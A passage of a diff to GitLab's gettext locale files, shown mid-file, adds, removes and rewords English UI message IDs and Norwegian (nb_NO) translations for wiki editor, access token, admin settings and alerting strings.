@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/nb_NO/gitlab.po b/locale/nb_NO/gitlab.po
index 4e16351fe82..776c54ca7b3 100644
--- a/locale/nb_NO/gitlab.po
+++ b/locale/nb_NO/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: nb\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:30\n"
+"PO-Revision-Date: 2021-07-01 21:13\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} til %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr "\"el\"-parameteret er påkrevd for createInstance()"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d sak vellykket importert med stemplet"
msgstr[1] "%d saker vellykket importert med stemplet"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d lag"
@@ -421,6 +416,24 @@ msgstr "%{authorsName} sin tråd"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} godkjennelser fra %{name}"
msgid "%{count} files touched"
msgstr "%{count} filer berørt"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,12 +672,12 @@ msgstr "%{level_name} er ikke tillatt i en %{group_level_name}-gruppe."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} er ikke tillatt siden utgreiningskildeprosjektet har lavere synlighet."
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Lær mer%{link_end} om hvilken informasjon som deles med GitLab Inc."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Les mer%{link_end} om rolletillatelser"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] "%{securityScanner}-resultatet er ikke tilgjengelig fordi en rørledning ikke er kjørt siden den ble aktivert. %{linkStart}Kjør en rørledning%{linkEnd}"
msgstr[1] "%{securityScanner}-resultater er ikke tilgjengelige fordi en rørledning ikke er kjørt siden den ble aktivert. %{linkStart}Kjør en rørledning%{linkEnd}"
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr "%{start} til %{end}"
msgid "%{state} epics"
msgstr "%{state} eposer"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}Sletter%{strongEnd} kildegrenen"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Lær mer%{usage_ping_link_end} om hvilken informasjon som deles med GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kan ikke flette)"
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} sek"
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,14 +1762,14 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Den kan ikke brukes til å få tilgang til noen andre data."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "Hold denne sjetongen hemmelig. Alle som får tak i den, kan få tilgang til statiske objekter i kodelageret som om de var deg. Du bør %{reset_link_start}tilbakestille den%{reset_link_end} dersom det noen gang skjer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Hold denne sjetongen hemmelig. Alle som får tak i den, kan opprette saker som om de var deg. Du bør %{link_reset_it} dersom det noen gang skjer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Hold denne sjetongen hemmelig. Alle som får tak i den, kan lese aktivitets- og saks-RSS-strømmer eller kalenderstrømmen din som om de var deg. Du bør %{link_reset_it} dersom det noen gang skjer."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Sjetonger for personlig tilgang"
@@ -1783,17 +1786,17 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Du kan generere en sjetong for personlig tilgang for hvert program du bruker som trenger tilgang til GitLab-API-en."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "Strøm-sjetongen din brukes til å autentisere deg når RSS-leseren din laster inn en personliggjort RSS-strøm eller når kalenderapplikasjonen din laster inn en personlig kalender, og er inkludert i disse strøm-URL-ene."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "tilbakestill den"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr "Lær mer"
@@ -1912,6 +1915,9 @@ msgstr "Legg til en kommentar til denne linjen"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Legg til en generell kommentar til denne %{noteableDisplayName}."
@@ -1921,6 +1927,9 @@ msgstr "Legg til en generell kommentar til denne %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Legg til en hjemmeside på din wiki som inneholder informasjon om prosjektet ditt og GitLab vil vise det her i stedet for denne meldingen."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "Legg til en linje"
@@ -1984,6 +1993,9 @@ msgstr "Legg til kommentar til design"
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Ingen brukere spesifisert."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Miljøvariabler er beskyttet som standard"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr "Flyttet til integrasjoner"
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Ingen påkrevd rørledning"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Påkrevd rørledningsoppsett"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Velg en rørledningsoppsettsfil"
-
-msgid "AdminSettings|Select a template"
-msgstr "Velg en mal"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Tjenestemaler lar deg bestemme standardverdier for integrasjoner"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,11 +2407,8 @@ msgstr "Spesifiser et domene som skal brukes som standard for hvert enkelt prosj
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "Den nødvendige rørledningskonfigurasjonen kan velges fra %{code_start}gitlab-ci%{code_end}-mappen inni det konfigurerte %{link_start}instansmal-lageret%{link_end} eller fra de GitLab-leverte konfigurasjonene."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Når du oppretter en ny miljøvariabel, vil den være beskyttet som standard."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr "Autorisasjonsnøkkel"
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr "Alle miljøer"
msgid "All epics"
msgstr "Alle eposer"
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Alle grupper og prosjekter"
@@ -3387,9 +3417,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Amazon EKS-integrasjon lar deg klargjøre EKS-klynger fra GitLab."
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr "Amazon Web Services-logo"
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "En feil oppstod under veksling av varslingsabonnement"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "En feil oppstod under oppdatering av saksvektleggingen"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "En feil oppstod under påskruing av tjenestedesken."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr "Det oppstod en feil under innhenting av grener. Prøv søket på nytt."
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "En feil oppstod under henting av filer for - %{branchId}"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Det oppstod en feil under innhenting av prosjekter"
@@ -3762,9 +3792,6 @@ msgstr "En feil oppstod under oppdatering av kommentaren"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr "Benytt en etikett"
msgid "Apply a template"
msgstr "Benytt en mal"
-msgid "Apply changes"
-msgstr "Benytt endringer"
-
msgid "Apply suggestion"
msgstr "Benytt forslag"
@@ -4133,15 +4157,9 @@ msgstr "Navn"
msgid "ApprovalRule|Rule name"
msgstr "Regelnavn"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr "MÃ¥lgren"
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Minst én godkjenning fra en kodeeier kreves for å endre filer som samsvarer med de respektive CODEOWNER-reglene."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps er aktivert"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr "Oppgrader"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr "Utvid"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr "Bla gjennom artefakter"
msgid "Browse files"
msgstr "Bla gjennom filer"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
